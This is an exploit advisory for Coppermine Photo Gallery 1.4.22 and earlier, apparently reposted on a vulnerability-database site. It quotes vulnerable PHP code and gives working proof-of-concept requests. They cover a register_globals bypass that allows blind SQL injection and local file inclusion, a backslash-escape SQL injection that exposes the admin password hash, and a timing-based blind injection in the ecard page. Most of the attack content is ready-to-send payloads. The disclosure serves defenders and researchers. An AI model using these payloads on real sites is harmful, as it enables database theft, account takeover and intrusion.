Lucene search
K
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Support
Settings
Sign in

coppermine photo gallery <= 1.4.22 Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug🔗 www.seebug.org👁 54 Views

Coppermine Photo Gallery <= 1.4.22 Multiple Vulnerabilitie

Code

                                                Author:	girex
Site:	http://girex.altervista.org/

CMS:	Coppermine Photo Gallery &#60;= 1.4.22


Coppermine Foto Gallery suffers from different vulnerabilities.

There is a Local File Inclusion and a Blind SQL Injection working with 
register_globals = On and magic_quotes_gpc = Off
and
a SQL Injection working in case of registration is enabled and a user can create/modify albums 
(default setting if registration is enabled) and php.ini regardless
and 
a Blind SQL Injection when is enabled the ecard logging system 
(that is not a default configuration) and php.ini regardless

Let&#39;s see how do they work...

-------------------------------------------------------------------------------------------

Is possible to bypass the anti-register_global protection and obtain a blind sql injection or a local file inclusion.

I couldn&#39;t find a better way to exploit bypassing the anti-register_global protection so i just write this
Proof of Concepts.

Let&#39;s see the anti-register_globals protection and how to bypass it...

File: /includes/init.inc.php - lines: 42-65

	$keysToSkip = array(&#39;_POST&#39;, &#39;_GET&#39;, &#39;_COOKIE&#39;, &#39;_REQUEST&#39;, &#39;_SERVER&#39;, &#39;HTML_SUBST&#39;, &#39;keysToSkip&#39;, &#39;register_globals_flag&#39;, &#39;cpgdebugger&#39;);
	
	if (ini_get(&#39;register_globals&#39;) == &#39;1&#39; || strtolower(ini_get(&#39;register_globals&#39;)) == &#39;on&#39;) {
	    $register_globals_flag = true;
	} else {
	    $register_globals_flag = false;
	}
	
	if (get_magic_quotes_gpc()) {
	        if (is_array($_POST)) {
	                foreach ($_POST as $key =&#62; $value) {
	                        if (!is_array($value))
	                                $_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
	                        if (!in_array($key, $keysToSkip) && isset($$key) && $register_globals_flag) unset($$key);
	                }
	        }
	
	        if (is_array($_GET)) {
	                foreach ($_GET as $key =&#62; $value) {
	                        unset($_GET[$key]);
	                        $_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
	                        if (!in_array($key, $keysToSkip) && isset($$key) && $register_globals_flag) unset($$key);
	                }
	        }

Same happens for $_COOKIE and $_SERVER vars and also with magic_quotes_gpc = off
This protection is easily bypassable defining GLOBALS vars via GET or via POST.

Example: index.php?GLOBALS[dummy_example]=damn
It defines the global var dummy_example.

Let&#39;s see how to exploit it...

File: ./thumbnails.php - lines: 79-

	if (isset($_GET[&#39;sort&#39;])) $USER[&#39;sort&#39;] = $_GET[&#39;sort&#39;];
	if (isset($_GET[&#39;cat&#39;])) $cat = (int)$_GET[&#39;cat&#39;];		&#60;== bypass the int cast 
	if (isset($_GET[&#39;album&#39;])) $album = $_GET[&#39;album&#39;];

	...
	if (is_numeric($album)) {
	...
    	
	} else {
        $album_set_array = array();
        if ($cat == USER_GAL_CAT)
            	$where = &#39;category &#62; &#39; . FIRST_USER_CAT;
       	else
            	$where = &#34;category = &#39;$cat&#39;&#34;;

        $result = cpg_db_query(&#34;SELECT aid FROM {$CONFIG[&#39;TABLE_ALBUMS&#39;]} WHERE $where&#34;);  &#60;==  Vulnerable query


Here&#39;s a proof of concept:
NOTE: - we need register_globals = on and magic_quotes_gpc = off

[target]/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999&#39; OR 1=1%23	true
[target]/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999&#39; OR 1=2%23	false

-------------------------------------------------------------------------------------------

It&#39;s also possible to obtain a local file inclusion overwriting $USER array and in particular
$USER[&#39;lang&#39;] vars...

File: /include/functions.inc.php - lines: 128-135

	function user_get_profile()
	{
        	global $CONFIG, $USER;

        	if (isset($_COOKIE[$CONFIG[&#39;cookie_name&#39;].&#39;_data&#39;])) {
                	$USER = @unserialize(@base64_decode($_COOKIE[$CONFIG[&#39;cookie_name&#39;].&#39;_data&#39;]));
                	$USER[&#39;lang&#39;] = strtr($USER[&#39;lang&#39;], &#39;$/\\:*?&#34;\&#39;&#60;&#62;|`&#39;, &#39;____________&#39;);		&#60;== we bypass it
        	}
      
		if (!isset($USER[&#39;ID&#39;]) || strlen($USER[&#39;ID&#39;]) != 32) {
                	list($usec, $sec) = explode(&#39; &#39;, microtime());
                	$seed = (float) $sec + ((float) $usec * 100000);
                	srand($seed);
                	$USER=array(&#39;ID&#39; =&#62; md5(uniqid(rand(),1)));
        	} else {
                	$USER[&#39;ID&#39;] = addslashes($USER[&#39;ID&#39;]);
        	}

        	if (!isset($USER[&#39;am&#39;])) $USER[&#39;am&#39;] = 1;
	}

File: /includes/init.inc.php - lines: 318-346

	if (isset($USER[&#39;lang&#39;]) && !strstr($USER[&#39;lang&#39;], &#39;/&#39;) && file_exists(&#39;lang/&#39; . $USER[&#39;lang&#39;] . &#39;.php&#39;))
	{
        	$CONFIG[&#39;default_lang&#39;] = $CONFIG[&#39;lang&#39;];          // Save default language
        	$CONFIG[&#39;lang&#39;] = strtr($USER[&#39;lang&#39;], &#39;$/\\:*?&#34;\&#39;&#60;&#62;|`&#39;, &#39;____________&#39;);
	}
	elseif ($CONFIG[&#39;charset&#39;] == &#39;utf-8&#39;)			&#60;== default configuration
	{
       		include(&#39;include/select_lang.inc.php&#39;);
        	if (file_exists(&#39;lang/&#39; . $USER[&#39;lang&#39;] . &#39;.php&#39;))
        	{
                	$CONFIG[&#39;default_lang&#39;] = $CONFIG[&#39;lang&#39;];      // Save default language
                	$CONFIG[&#39;lang&#39;] = $USER[&#39;lang&#39;];
        	}
	}
	else
	{
        	unset($USER[&#39;lang&#39;]);
	}

	if (isset($CONFIG[&#39;default_lang&#39;]) && ($CONFIG[&#39;default_lang&#39;]==$CONFIG[&#39;lang&#39;]))
	{
                unset($CONFIG[&#39;default_lang&#39;]);
	}

	if (!file_exists(&#34;lang/{$CONFIG[&#39;lang&#39;]}.php&#34;))
  	$CONFIG[&#39;lang&#39;] = &#39;english&#39;;

	// We load the chosen language file
	require &#34;lang/{$CONFIG[&#39;lang&#39;]}.php&#34;;		&#60;== vulnerable include


Here&#39;s a proof of concept:
NOTE: - we need register_globals = on and magic_quotes_gpc = off

GET /[path]/index.php?GLOBALS[USER][ID]=5b83a5f92603efcdb65d47c9a2991d6b&GLOBALS[USER][lang]=../README.txt%00 HTTP/1.1
Host: [host]
Connection: close

This will include README.txt, if register_globals=on magic_quotes_gpc=off
and if User-Agent and Accept-Language headers are not set. (see code)

-------------------------------------------------------------------------------------------

When registration are enabled and a user can create/modify albums with password is possible 
to obatain a blind sql injection php.ini regardless.

File: ./db_input.php 

	$event = isset($_POST[&#39;event&#39;]) ? $_POST[&#39;event&#39;] : $_GET[&#39;event&#39;];
	switch ($event) {
 
	...

	case &#39;album_update&#39;:
        if (!(USER_ADMIN_MODE || GALLERY_ADMIN_MODE)) cpg_die(ERROR, $lang_errors[&#39;perm_denied&#39;], __FILE__, __LINE__); &#60;== USER_ADMIN_MODE is TRUE if we are logged in

        $aid = (int)$_POST[&#39;aid&#39;];
        $title = addslashes(trim($_POST[&#39;title&#39;]));
        $category = (int)$_POST[&#39;category&#39;];
        $description = addslashes(trim($_POST[&#39;description&#39;]));
                $keyword = addslashes(trim($_POST[&#39;keyword&#39;]));
        $thumb = (int)$_POST[&#39;thumb&#39;];
        $visibility = (int)$_POST[&#39;visibility&#39;];
        $uploads = $_POST[&#39;uploads&#39;] == &#39;YES&#39; ? &#39;YES&#39; : &#39;NO&#39;;
        $comments = $_POST[&#39;comments&#39;] == &#39;YES&#39; ? &#39;YES&#39; : &#39;NO&#39;;
        $votes = $_POST[&#39;votes&#39;] == &#39;YES&#39; ? &#39;YES&#39; : &#39;NO&#39;;
        $password = $_POST[&#39;alb_password&#39;];					&#60;== this var is not addslashed
                $password_hint = addslashes(trim($_POST[&#39;alb_password_hint&#39;]));
        $visibility = !empty($password) ? FIRST_USER_CAT + USER_ID : $visibility;

        if (!$title) cpg_die(ERROR, $lang_db_input_php[&#39;alb_need_title&#39;], __FILE__, __LINE__);

        if (GALLERY_ADMIN_MODE) {
            $query = &#34;UPDATE {$CONFIG[&#39;TABLE_ALBUMS&#39;]} SET title=&#39;$title&#39;, description=&#39;$description&#39;, category=&#39;$category&#39;, thumb=&#39;$thumb&#39;, uploads=&#39;$uploads&#39;, comments=&#39;$comments&#39;, votes=&#39;$votes&#39;, visibility=&#39;$visibility&#39;, alb_password=&#39;$password&#39;, alb_password_hint=&#39;$password_hint&#39;, keyword=&#39;$keyword&#39; WHERE aid=&#39;$aid&#39; LIMIT 1&#34;;
        } else {
            $category = FIRST_USER_CAT + USER_ID;
            $query = &#34;UPDATE {$CONFIG[&#39;TABLE_ALBUMS&#39;]} SET title=&#39;$title&#39;, description=&#39;$description&#39;, thumb=&#39;$thumb&#39;,  comments=&#39;$comments&#39;, votes=&#39;$votes&#39;, visibility=&#39;$visibility&#39;, alb_password=&#39;$password&#39;,		&#60;== vulnerable query alb_password_hint=&#39;$password_hint&#39;,keyword=&#39;$keyword&#39; WHERE aid=&#39;$aid&#39; AND category=&#39;$category&#39; LIMIT 1&#34;;
        }

        $update = cpg_db_query($query);

$_POST[&#39;alb_password&#39;] is not addslashed before being used in a query.
You must know that all _GET _POST _REQUEST variables are sanizated in init.inc.php...

File: /include/init.inc.php

	// Do some cleanup in GET, POST and cookie data and un-register global vars
	$HTML_SUBST = array(&#39;&&#39; =&#62; &#39;&amp;&#39;, &#39;&#34;&#39; =&#62; &#39;&quot;&#39;, &#39;&#60;&#39; =&#62; &#39;&lt;&#39;, &#39;&#62;&#39; =&#62; &#39;&gt;&#39;, &#39;%26&#39; =&#62; &#39;&amp;&#39;, &#39;%22&#39; =&#62; &#39;&quot;&#39;, &#39;%3C&#39; =&#62; &#39;&lt;&#39;, &#39;%3E&#39; =&#62; &#39;&gt;&#39;,&#39;%27&#39; =&#62; &#39;&#39;&#39;, &#34;&#39;&#34; =&#62; &#39;&#39;&#39;); 

	...
	$_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
	...
	$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
	...
	$_REQUEST[$key] = strtr(stripslashes($value), $HTML_SUBST);


So quotes are fixed, but what about backslash (\). We can manipulate the query inserting a backslash at the end of
$_POST[&#39;alb_password&#39;] and execute SQL in $_POST[&#39;alb_password_hint&#39;] parameter.


Here&#39;s a Proof of Concept: 
NOTE: - registration must be enabled and an user must can create/modify albums 
      - works regardless of php.ini settings

- Log in with your user credential
- Create an album with password
- Do this request:

POST /[path]/db_input.php HTTP/1.1
Host: [host]
Keep-Alive: 300
Connection: keep-alive
Cookie: [your_cookies]
Content-Type: application/x-www-form-urlencoded

event=album_update&title=x&aid=[YOUR_ALBUM_ID]&alb_password=%5C&alb_password_hint=,title=(SELECT user_password FROM cpg14x_users WHERE user_id=1) WHERE aid=[YOUR_ALBUM_ID]%23

You will set the admin&#39;s password (user with user_id=1) as the title of your album.

-------------------------------------------------------------------------------------------

And we have also a Blind SQL Injection with a specific configuration of coppermine...

File: ./displayecard.php - lines 26-38

	if (!isset($_GET[&#39;data&#39;])) cpg_die(CRITICAL_ERROR, $lang_errors[&#39;param_missing&#39;], __FILE__, __LINE__);

	$data = array();
	$data = @unserialize(@base64_decode($_GET[&#39;data&#39;]));

	// attempt to obtain full link from db if ecard logging enabled and min 12 chars of data is provided and only 1 match
	if ((!is_array($data)) && $CONFIG[&#39;log_ecards&#39;] && (strlen($_GET[&#39;data&#39;]) &#62; 12)) {
        	$result = cpg_db_query(&#34;SELECT link FROM {$CONFIG[&#39;TABLE_ECARDS&#39;]} WHERE link LIKE &#39;{$_GET[&#39;data&#39;]}%&#39;&#34;);
        	if (mysql_num_rows($result) === 1) {
                	$row = mysql_fetch_assoc($result);
                	$data = @unserialize(@base64_decode($row[&#39;link&#39;]));
        	}
	}


Here&#39;s a Proof of Concept: 
NOTE: - $CONFIG[&#39;log_ecards&#39;] must be set to 1 (and this is NOT a default config) 
      - works regardless of php.ini settings

Make an injection with this php code:
&#60;?php
$injection = &#34;%&#39; OR BENCHMARK(999999, md5(0))#&#34;;
$injection = urlencode(base64_encode(serialize($injection)));
?&#62;

Then:
GET http://[host]/[path]/displayecard.php?data=[$injection] HTTP/1.1

girex

# milw0rm.com [2009-05-18]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
local file inclusionblind sql injectionregister globalsmagic quotesbypass protectionexploitationanti-register globalsthumnails.phpuser_get_profilevulnerable query
54